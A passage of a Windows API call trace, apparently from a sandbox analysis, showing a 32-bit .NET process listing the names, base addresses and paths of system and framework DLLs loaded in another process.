hModule=0x75db0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0231.315] CoTaskMemFree (pv=0x6681b48) [0231.315] GetModuleInformation (in: hProcess=0x284, hModule=0x75810000, lpmodinfo=0x255c3f0, cb=0xc | out: lpmodinfo=0x255c3f0*(lpBaseOfDll=0x75810000, SizeOfImage=0x90000, EntryPoint=0x75826343)) returned 1 [0231.316] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.316] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75810000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0231.316] CoTaskMemFree (pv=0x6681b48) [0231.316] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.316] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75810000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0231.316] CoTaskMemFree (pv=0x6681b48) [0231.316] GetModuleInformation (in: hProcess=0x284, hModule=0x75e10000, lpmodinfo=0x255e4f4, cb=0xc | out: lpmodinfo=0x255e4f4*(lpBaseOfDll=0x75e10000, SizeOfImage=0x100000, EntryPoint=0x75e2b6ed)) returned 1 [0231.317] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.317] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75e10000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0231.317] CoTaskMemFree (pv=0x6681b48) [0231.317] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.317] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75e10000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0231.317] CoTaskMemFree (pv=0x6681b48) [0231.317] GetModuleInformation (in: hProcess=0x284, hModule=0x772c0000, lpmodinfo=0x2560600, cb=0xc | out: lpmodinfo=0x2560600*(lpBaseOfDll=0x772c0000, SizeOfImage=0xa000, EntryPoint=0x772c36a0)) returned 1 [0231.318] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.318] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x772c0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0231.318] CoTaskMemFree (pv=0x6681b48) [0231.318] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.318] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x772c0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0231.319] CoTaskMemFree (pv=0x6681b48) [0231.319] GetModuleInformation (in: hProcess=0x284, hModule=0x75a30000, lpmodinfo=0x25626fc, cb=0xc | out: lpmodinfo=0x25626fc*(lpBaseOfDll=0x75a30000, SizeOfImage=0x9d000, EntryPoint=0x75a63fd7)) returned 1 [0231.319] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.319] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75a30000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0231.319] CoTaskMemFree (pv=0x6681b48) [0231.320] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.320] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75a30000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0231.320] CoTaskMemFree (pv=0x6681b48) [0231.320] GetModuleInformation (in: hProcess=0x284, hModule=0x75ae0000, lpmodinfo=0x256488c, cb=0xc | out: lpmodinfo=0x256488c*(lpBaseOfDll=0x75ae0000, SizeOfImage=0x60000, EntryPoint=0x75af158f)) returned 1 [0231.320] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.320] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75ae0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0231.321] CoTaskMemFree (pv=0x6681b48) [0231.321] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.321] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75ae0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0231.321] CoTaskMemFree (pv=0x6681b48) [0231.321] GetModuleInformation (in: hProcess=0x284, hModule=0x75be0000, lpmodinfo=0x2566990, cb=0xc | out: lpmodinfo=0x2566990*(lpBaseOfDll=0x75be0000, SizeOfImage=0xcc000, EntryPoint=0x75be168b)) returned 1 [0231.322] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.322] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75be0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0231.322] CoTaskMemFree (pv=0x6681b48) [0231.322] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.322] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75be0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0231.322] CoTaskMemFree (pv=0x6681b48) [0231.322] GetModuleInformation (in: hProcess=0x284, hModule=0x73610000, lpmodinfo=0x2568a94, cb=0xc | out: lpmodinfo=0x2568a94*(lpBaseOfDll=0x73610000, SizeOfImage=0x9000, EntryPoint=0x73611220)) returned 1 [0231.323] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.323] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73610000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0231.323] CoTaskMemFree (pv=0x6681b48) [0231.323] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.323] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73610000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0231.324] CoTaskMemFree (pv=0x6681b48) [0231.324] GetModuleInformation (in: hProcess=0x284, hModule=0x72f40000, lpmodinfo=0x256aba0, cb=0xc | out: lpmodinfo=0x256aba0*(lpBaseOfDll=0x72f40000, SizeOfImage=0x6a8000, EntryPoint=0x73087040)) returned 1 [0231.324] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.324] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x72f40000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0231.324] CoTaskMemFree (pv=0x6681b48) [0231.325] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.325] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x72f40000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0231.325] CoTaskMemFree (pv=0x6681b48) [0231.325] GetModuleInformation (in: hProcess=0x284, hModule=0x75540000, lpmodinfo=0x256ccd0, cb=0xc | out: lpmodinfo=0x256ccd0*(lpBaseOfDll=0x75540000, SizeOfImage=0xf5000, EntryPoint=0x75594160)) returned 1 [0231.325] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.325] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75540000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0231.326] CoTaskMemFree (pv=0x6681b48) [0231.326] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.326] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75540000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0231.326] CoTaskMemFree (pv=0x6681b48) [0231.326] GetModuleInformation (in: hProcess=0x284, hModule=0x74310000, lpmodinfo=0x256ee04, cb=0xc | out: lpmodinfo=0x256ee04*(lpBaseOfDll=0x74310000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0231.327] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.327] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x74310000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0231.327] CoTaskMemFree (pv=0x6681b48) [0231.327] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.327] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x74310000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0231.328] CoTaskMemFree (pv=0x6681b48) [0231.328] GetModuleInformation (in: hProcess=0x284, hModule=0x77060000, lpmodinfo=0x2570fac, cb=0xc | out: lpmodinfo=0x2570fac*(lpBaseOfDll=0x77060000, SizeOfImage=0x15c000, EntryPoint=0x770aba3d)) returned 1 [0231.328] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.328] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77060000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0231.329] CoTaskMemFree (pv=0x6681b48) [0231.329] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.329] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77060000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0231.329] CoTaskMemFree (pv=0x6681b48) [0231.329] GetModuleInformation (in: hProcess=0x284, hModule=0x73e60000, lpmodinfo=0x25730b0, cb=0xc | out: lpmodinfo=0x25730b0*(lpBaseOfDll=0x73e60000, SizeOfImage=0x80000, EntryPoint=0x73e737c9)) returned 1 [0231.330] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.330] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73e60000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0231.330] CoTaskMemFree (pv=0x6681b48) [0231.330] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.330] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73e60000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0231.331] CoTaskMemFree (pv=0x6681b48) [0231.331] GetModuleInformation (in: hProcess=0x284, hModule=0x72590000, lpmodinfo=0x25751bc, cb=0xc | out: lpmodinfo=0x25751bc*(lpBaseOfDll=0x72590000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0231.331] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.331] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x72590000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0231.332] CoTaskMemFree (pv=0x6681b48) [0231.332] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.332] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x72590000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0231.332] CoTaskMemFree (pv=0x6681b48) [0231.332] GetModuleInformation (in: hProcess=0x284, hModule=0x71e70000, lpmodinfo=0x2577358, cb=0xc | out: lpmodinfo=0x2577358*(lpBaseOfDll=0x71e70000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0231.333] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.333] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71e70000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0231.333] CoTaskMemFree (pv=0x6681b48) [0231.333] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.333] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71e70000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0231.334] CoTaskMemFree (pv=0x6681b48) [0231.334] GetModuleInformation (in: hProcess=0x284, hModule=0x73c90000, lpmodinfo=0x2579514, cb=0xc | out: lpmodinfo=0x2579514*(lpBaseOfDll=0x73c90000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0231.335] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.335] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73c90000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0231.335] CoTaskMemFree (pv=0x6681b48) [0231.335] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.335] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73c90000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0231.336] CoTaskMemFree (pv=0x6681b48) [0231.336] GetModuleInformation (in: hProcess=0x284, hModule=0x73f00000, lpmodinfo=0x257b708, cb=0xc | out: lpmodinfo=0x257b708*(lpBaseOfDll=0x73f00000, SizeOfImage=0x7d000, EntryPoint=0x73f01140)) returned 1 [0231.336] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.336] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73f00000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0231.337] CoTaskMemFree (pv=0x6681b48) [0231.337] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.337] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73f00000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0231.337] CoTaskMemFree (pv=0x6681b48) [0231.337] GetModuleInformation (in: hProcess=0x284, hModule=0x76e30000, lpmodinfo=0x257d848, cb=0xc | out: lpmodinfo=0x257d848*(lpBaseOfDll=0x76e30000, SizeOfImage=0x8f000, EntryPoint=0x76e33fb1)) returned 1 [0231.338] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.338] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x76e30000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0231.338] CoTaskMemFree (pv=0x6681b48) [0231.338] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.338] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x76e30000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0231.339] CoTaskMemFree (pv=0x6681b48) [0231.339] GetModuleInformation (in: hProcess=0x284, hModule=0x73b00000, lpmodinfo=0x257f95c, cb=0xc | out: lpmodinfo=0x257f95c*(lpBaseOfDll=0x73b00000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0231.339] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.339] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73b00000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0231.340] CoTaskMemFree (pv=0x6681b48) [0231.340] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.340] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73b00000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0231.341] CoTaskMemFree (pv=0x6681b48) [0231.341] GetModuleInformation (in: hProcess=0x284, hModule=0x71210000, lpmodinfo=0x2581b28, cb=0xc | out: lpmodinfo=0x2581b28*(lpBaseOfDll=0x71210000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0231.341] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.341] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71210000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0231.342] CoTaskMemFree (pv=0x6681b48) [0231.342] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.342] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71210000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0231.342] CoTaskMemFree (pv=0x6681b48) [0231.342] GetModuleInformation (in: hProcess=0x284, hModule=0x73ee0000, lpmodinfo=0x2583d18, cb=0xc | out: lpmodinfo=0x2583d18*(lpBaseOfDll=0x73ee0000, SizeOfImage=0x16000, EntryPoint=0x73ee2dc3)) returned 1 [0231.343] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.343] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73ee0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0231.343] CoTaskMemFree (pv=0x6681b48) [0231.343] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.343] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73ee0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0231.344] CoTaskMemFree (pv=0x6681b48) [0231.344] GetModuleInformation (in: hProcess=0x284, hModule=0x73ac0000, lpmodinfo=0x2585f30, cb=0xc | out: lpmodinfo=0x2585f30*(lpBaseOfDll=0x73ac0000, SizeOfImage=0x3b000, EntryPoint=0x73ac128d)) returned 1 [0231.345] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.345] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73ac0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0231.345] CoTaskMemFree (pv=0x6681b48) [0231.345] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.345] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73ac0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0231.346] CoTaskMemFree (pv=0x6681b48) [0231.346] GetModuleInformation (in: hProcess=0x284, hModule=0x73a30000, lpmodinfo=0x258803c, cb=0xc | out: lpmodinfo=0x258803c*(lpBaseOfDll=0x73a30000, SizeOfImage=0x84000, EntryPoint=0x73a319a9)) returned 1 [0231.346] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.346] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73a30000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0231.347] CoTaskMemFree (pv=0x6681b48) [0231.347] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.347] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73a30000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")) returned 0x7b [0231.348] CoTaskMemFree (pv=0x6681b48) [0231.348] GetModuleInformation (in: hProcess=0x284, hModule=0x73a10000, lpmodinfo=0x258a204, cb=0xc | out: lpmodinfo=0x258a204*(lpBaseOfDll=0x73a10000, SizeOfImage=0x13000, EntryPoint=0x73a118f0)) returned 1 [0231.348] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.348] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73a10000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="nlssorting.dll") returned 0xe [0231.349] CoTaskMemFree (pv=0x6681b48) [0231.349] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.349] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73a10000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")) returned 0x3c [0231.350] CoTaskMemFree (pv=0x6681b48) [0231.350] GetModuleInformation (in: hProcess=0x284, hModule=0x73940000, lpmodinfo=0x258c354, cb=0xc | out: lpmodinfo=0x258c354*(lpBaseOfDll=0x73940000, SizeOfImage=0xc5000, EntryPoint=0x0)) returned 1 [0231.351] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.351] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73940000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="System.Runtime.Remoting.ni.dll") returned 0x1e [0231.351] CoTaskMemFree (pv=0x6681b48) [0231.351] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.351] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73940000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")) returned 0x83 [0231.352] CoTaskMemFree (pv=0x6681b48) [0231.352] GetModuleInformation (in: hProcess=0x284, hModule=0x71080000, lpmodinfo=0x258e550, cb=0xc | out: lpmodinfo=0x258e550*(lpBaseOfDll=0x71080000, SizeOfImage=0x190000, EntryPoint=0x7111d026)) returned 1 [0231.353] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.353] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71080000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0231.353] CoTaskMemFree (pv=0x6681b48) [0231.353] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.353] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71080000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0231.354] CoTaskMemFree (pv=0x6681b48) [0231.354] GetModuleInformation (in: hProcess=0x284, hModule=0x70ee0000, lpmodinfo=0x2590700, cb=0xc | out: lpmodinfo=0x2590700*(lpBaseOfDll=0x70ee0000, SizeOfImage=0x19e000, EntryPoint=0x70f0e6b5)) returned 1 [0231.354] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.355] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x70ee0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0231.355] CoTaskMemFree (pv=0x6681b48) [0231.355] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.355] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x70ee0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")) returned 0x7a [0231.356] CoTaskMemFree (pv=0x6681b48) [0231.356] GetModuleInformation (in: hProcess=0x284, hModule=0x735f0000, lpmodinfo=0x25928c8, cb=0xc | out: lpmodinfo=0x25928c8*(lpBaseOfDll=0x735f0000, SizeOfImage=0x13000, EntryPoint=0x735f1d3f)) returned 1 [0231.357] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.357] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x735f0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0231.358] CoTaskMemFree (pv=0x6681b48) [0231.358] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.358] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x735f0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0231.358] CoTaskMemFree (pv=0x6681b48) [0231.358] GetModuleInformation (in: hProcess=0x284, hModule=0x75b40000, lpmodinfo=0x25949d4, cb=0xc | out: lpmodinfo=0x25949d4*(lpBaseOfDll=0x75b40000, SizeOfImage=0x83000, EntryPoint=0x75b423d2)) returned 1 [0231.359] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.359] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75b40000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0231.360] CoTaskMemFree (pv=0x6681b48) [0231.360] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.360] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75b40000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0231.361] CoTaskMemFree (pv=0x6681b48) [0231.361] GetModuleInformation (in: hProcess=0x284, hModule=0x70de0000, lpmodinfo=0x2596ae0, cb=0xc | out: lpmodinfo=0x2596ae0*(lpBaseOfDll=0x70de0000, SizeOfImage=0xfb000, EntryPoint=0x70df17e1)) returned 1 [0231.361] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.361] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x70de0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0231.362] CoTaskMemFree (pv=0x6681b48) [0231.362] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.362] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x70de0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0231.363] CoTaskMemFree (pv=0x6681b48) [0231.363] GetModuleInformation (in: hProcess=0x284, hModule=0x77ae0000, lpmodinfo=0x2598c04, cb=0xc | out: lpmodinfo=0x2598c04*(lpBaseOfDll=0x77ae0000, SizeOfImage=0x5000, EntryPoint=0x77ae1438)) returned 1 [0231.364] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.364] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77ae0000, 